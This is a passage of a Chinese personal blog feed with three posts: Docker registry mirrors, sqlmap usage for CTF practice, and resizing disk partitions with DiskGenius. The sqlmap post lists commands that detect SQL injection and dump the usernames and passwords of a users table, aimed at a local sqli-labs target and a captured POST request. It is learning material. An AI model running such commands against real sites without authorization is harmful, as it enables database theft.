class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://docker.nju.edu.cn/&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://docker.mirrors.sjtug.sjtu.edu.cn/&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://docker.mirrors.ustc.edu.cn/&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://mirror.iscas.ac.cn/&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://docker.rainbond.cc/&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="string">&quot;https://jq794zz5.mirror.aliyuncs.com&quot;</span></span><br><span class="line">    <span class="punctuation">]</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717164022010.png" alt="" /></p><p>再用<code>docker info</code>命令查看是否生效</p>]]>
    </content>
    <id>https://hackun.top/2025/07/17/%E5%88%9D%E6%8E%A2Docker/</id>
    <link href="https://hackun.top/2025/07/17/%E5%88%9D%E6%8E%A2Docker/"/>
    <published>2025-07-17T09:03:19.816Z</published>
    <summary>
      <![CDATA[<p>年少不知docker难，初学已是docker人</p>]]>
    </summary>
    <title>初探Docker</title>
    <updated>2025-07-17T09:05:36.468Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="CTF工具" scheme="https://hackun.top/categories/CTF%E5%B7%A5%E5%85%B7/"/>
    <category term="sqlmap" scheme="https://hackun.top/categories/CTF%E5%B7%A5%E5%85%B7/sqlmap/"/>
    <category term="CTF工具" scheme="https://hackun.top/tags/CTF%E5%B7%A5%E5%85%B7/"/>
    <category term="SQL" scheme="https://hackun.top/tags/SQL/"/>
    <category term="sqlmap" scheme="https://hackun.top/tags/sqlmap/"/>
    <content>
      <![CDATA[<h1 id="sqlmap自动注入"><a class="markdownIt-Anchor" href="#sqlmap自动注入"></a> sqlmap自动注入</h1><h2 id="常用参数"><a class="markdownIt-Anchor" href="#常用参数"></a> 常用参数</h2><p><code>-u</code>：扫描目标url</p><p><code>--batch</code>：自动处理提示信息</p><p><code>--cookie</code>：附加cookie参数</p><p>获取当前数据库名：</p><p><code>--current-db</code>：查询当前web使用的数据库名</p><p><code>-D</code>：应用指定数据库</p><p>获取表名：</p><p><code>--tables</code>：查询指定库下所有表名（先用-D指定库名）</p><p><code>-T</code>：应用指定表</p><p>获取字段：</p><p><code>--columns</code>：查询指定表下所有字段（先用-T指定名）</p><p><code>-C</code>：应用指定字段名</p><p>获取数据：<code>--dump</code></p><h2 id="get传参注入"><a class="markdownIt-Anchor" href="#get传参注入"></a> GET传参注入</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">基本的SQL注入检测,可以检测注入点以及可注入类型</span><br><span class="line">python sqlmap.py -u <span class="string">&quot;http://127.0.0.1:8900/Less-7/?id=1&quot;</span> --batch</span><br><span class="line">查看所有数据库</span><br><span class="line">python sqlmap.py -u <span class="string">&quot;http://127.0.0.1:8900/Less-7/?id=1&quot;</span> --batch --dbs</span><br><span class="line">查看当前使用的数据库</span><br><span class="line">python sqlmap.py -u <span class="string">&quot;http://127.0.0.1:8900/Less-7/?id=1&quot;</span> --batch --current-db</span><br><span class="line">查看表名</span><br><span class="line">python sqlmap.py -u <span class="string">&quot;http://127.0.0.1:8900/Less-7/?id=1&quot;</span> --batch -D security --tables</span><br><span class="line">查看表中的字段</span><br><span class="line">python sqlmap.py -u <span class="string">&quot;http://127.0.0.1:8900/Less-7/?id=1&quot;</span> --batch -D security -T <span class="built_in">users</span> --columns</span><br><span class="line">查看字段中的数据</span><br><span class="line">python sqlmap.py -u <span class="string">&quot;http://127.0.0.1:8900/Less-7/?id=1&quot;</span> --batch -D security -T <span class="built_in">users</span> -C <span class="built_in">id</span>,username,password --dump</span><br></pre></td></tr></table></figure><h2 id="post传参注入"><a class="markdownIt-Anchor" href="#post传参注入"></a> POST传参注入</h2><p>先用Bp抓包，然后保存抓取的内容到文件之中（我是保存在<code>C:/Users/ASUS/Desktop/1.txt</code>）</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250716102953936.png" alt="" /></p><p>之后直接用sqlmap</p><p><code>-r</code>：指定文件路径,从指定文件中读取HTTP请求</p><p><code>-p</code> ：指定参数名 ，不加p参数会自动检测注入点,也可以得到结果,指定注入参数名的话执行速度更快</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">基本的SQL注入检测,可以检测注入点以及可注入类型</span><br><span class="line">python sqlmap.py -r <span class="string">&quot;C:/Users/ASUS/Desktop/1.txt&quot;</span> --batch -p passwd</span><br><span class="line">查看当前数据库</span><br><span class="line">python sqlmap.py -r <span class="string">&quot;C:/Users/ASUS/Desktop/1.txt&quot;</span> --batch -p passwd --current-db</span><br><span class="line">查表</span><br><span class="line">python sqlmap.py -r <span class="string">&quot;C:/Users/ASUS/Desktop/1.txt&quot;</span> --batch -p passwd -D security --tables</span><br><span class="line">查字段</span><br><span class="line">python sqlmap.py -r <span class="string">&quot;C:/Users/ASUS/Desktop/1.txt&quot;</span> --batch -p passwd -D security -T <span class="built_in">users</span> --columns</span><br><span class="line">查数据</span><br><span class="line">python sqlmap.py -r <span class="string">&quot;C:/Users/ASUS/Desktop/1.txt&quot;</span> --batch -p passwd -D security -T <span class="built_in">users</span> -C username,<span class="built_in">id</span>,password  --dump</span><br></pre></td></tr></table></figure><h2 id="风险和测试等级"><a class="markdownIt-Anchor" href="#风险和测试等级"></a> 风险和测试等级</h2><h3 id="risk风险等级"><a class="markdownIt-Anchor" href="#risk风险等级"></a> risk（风险等级）</h3><p>默认为1（范围：1~3）</p><p><code>risk</code> 越高，sqlmap 会尝试更具风险性的 SQL 注入技术（如 <code>OR-based</code> 注入、堆叠查询等）</p><p><code>risk=3</code> 可能导致数据被修改或删除，谨慎使用</p><h3 id="level测试等级"><a class="markdownIt-Anchor" href="#level测试等级"></a> level（测试等级）</h3><p>默认为1（范围：1~5）</p><p><code>level</code> 越高，sqlmap 会测试更多的参数（如 <code>User-Agent</code>、<code>Referer</code>、<code>Cookie</code>）和更复杂的 payload</p><ul><li><strong><code>level=1</code></strong>（默认）：仅测试 <code>GET</code> 和 <code>POST</code> 参数。</li><li><strong><code>level=2</code></strong>：增加 <code>Cookie</code> 头测试。</li><li><strong><code>level=3</code></strong>：增加 <code>User-Agent</code> 和 <code>Referer</code> 测试。</li><li><strong><code>level=4</code></strong>：测试所有 HTTP 头（如 <code>X-Forwarded-For</code>）。</li><li><strong><code>level=5</code></strong>：测试所有可能的注入点（包括 <code>Host</code> 头）</li></ul>]]>
    </content>
    <id>https://hackun.top/2025/07/16/sqlmap%E8%87%AA%E5%8A%A8%E6%B3%A8%E5%85%A5/</id>
    <link href="https://hackun.top/2025/07/16/sqlmap%E8%87%AA%E5%8A%A8%E6%B3%A8%E5%85%A5/"/>
    <published>2025-07-16T02:39:13.212Z</published>
    <summary>
      <![CDATA[<h1 id="sqlmap自动注入"><a class="markdownIt-Anchor" href="#sqlmap自动注入"></a> sqlmap自动注入</h1>
<h2 id="常用参数"><a class="markdownIt-Anchor" href="#常]]>
    </summary>
    <title>sqlmap自动注入</title>
    <updated>2025-07-16T03:00:13.633Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="Windows" scheme="https://hackun.top/categories/Windows/"/>
    <category term="Windows" scheme="https://hackun.top/tags/Windows/"/>
    <content>
      <![CDATA[<h1 id="diskgenius无损调整分区大小"><a class="markdownIt-Anchor" href="#diskgenius无损调整分区大小"></a> DiskGenius无损调整分区大小</h1><p><a href="https://www.diskgenius.cn/download.php">DiskGenius官网下载</a></p><p>由于C盘爆红，我决定将无用的盘的空间扩充给C盘</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250715110152307.png" alt="" /></p><p>1.选中要调整大小的分区，然后点击鼠标右键，在弹出的菜单中，选择“调整分区大小”菜单项</p><p>但在这边我遇到一个问题：无法点击调整分区大小</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250715110701480.png" alt="" /></p><p>原因在于Windows11默认采用BitLocker加密</p><p>我们打开设置中的隐私与安全中的设备加密，关掉设备加密</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250715112027121.png" alt="" /></p><p>之后就可以正常调整分区大小</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250715112114025.png" alt="" /></p><p>要想将某分区的大小扩大，通常还要同时将另一个分区的大小缩小。要想将某个分区的大小缩小，则通常还要同时将另一个分区的大小扩大</p><p>在使用DiskGenius进行分区调整时，应该<strong>选择需要被调整小的分区</strong></p><p>软件弹出“调整分区容量”对话框，可以设置各个分区大小调整选项</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250715112231265.png" alt="屏幕截图 2025-07-15 104304" /></p><ol start="2"><li>拖拽分区前部或后部，设置需要调整的分区大小，然后在下拉框选择如何处理这部分磁盘空间</li></ol><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250715112334970.png" alt="" /></p><p>分区前部的空间为要给其他盘的空间，自行分配（上述为F盘要给C盘797.74MB的空间）</p><p>3.点击“开始”按钮，DiskGenius会先显示一个提示窗口，显示本次无损分区调整的操作步骤以及一些注意事项</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250715112620794.png" alt="屏幕截图 2025-07-15 104457" /></p><p>之后就会重启电脑自动操作（注意不要动电脑，否则会直接退出操作，又得重来）</p><p>完成之后就会发现C盘敞亮多了</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250715112835004.png" alt="" /></p>]]>
    </content>
    <id>https://hackun.top/2025/07/15/DiskGenius%E6%97%A0%E6%8D%9F%E8%B0%83%E6%95%B4%E5%88%86%E5%8C%BA%E5%A4%A7%E5%B0%8F/</id>
    <link href="https://hackun.top/2025/07/15/DiskGenius%E6%97%A0%E6%8D%9F%E8%B0%83%E6%95%B4%E5%88%86%E5%8C%BA%E5%A4%A7%E5%B0%8F/"/>
    <published>2025-07-15T03:37:00.927Z</published>
    <summary>
      <![CDATA[<h1 id="diskgenius无损调整分区大小"><a class="markdownIt-Anchor" href="#diskgenius无损调整分区大小"></a> DiskGenius无损调整分区大小</h1>
<p><a href="https://www.dis]]>
    </summary>
    <title>DiskGenius无损调整分区大小</title>
    <updated>2025-07-15T03:36:35.947Z</updated>
  </entry>
</feed>
